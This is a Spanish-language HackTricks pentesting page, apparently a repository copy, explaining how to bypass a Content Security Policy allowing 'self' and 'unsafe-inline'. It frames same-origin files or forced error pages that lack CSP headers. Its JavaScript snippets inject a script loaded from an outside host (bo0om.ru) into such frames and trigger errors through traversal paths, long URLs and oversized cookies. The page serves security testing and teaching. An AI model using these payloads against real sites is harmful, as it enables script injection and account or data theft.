hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

5.4 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Una configuración como:

Content-Security-Policy: default-src self unsafe-inline;

Prohíbe el uso de cualquier función que ejecute código transmitido como una cadena. Por ejemplo: eval, setTimeout, setInterval serán bloqueados debido a la configuración unsafe-eval.

Cualquier contenido de fuentes externas también está bloqueado, incluyendo imágenes, CSS, WebSockets y, especialmente, JS.

A través de texto e imágenes

Los navegadores modernos transforman imágenes y textos en archivos HTML para visualizarlos mejor (establecen fondo, centrado, etc.).

Por lo tanto, si abres una imagen o archivo de texto como favicon.ico o robots.txt con un iframe, lo abrirás como HTML.

Este tipo de páginas generalmente no tienen encabezados CSP y es posible que no tengan X-Frame-Options, por lo que puedes ejecutar JS arbitrario desde ellas:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

A través de Errores

Al igual que los archivos de texto o imágenes, las respuestas de error generalmente no tienen encabezados CSP y es posible que no tengan X-Frame-Options. Por lo tanto, puedes forzar errores y cargarlos dentro de un iframe:

// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
// After any of the previous examples, you can execute JS in the iframe with something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥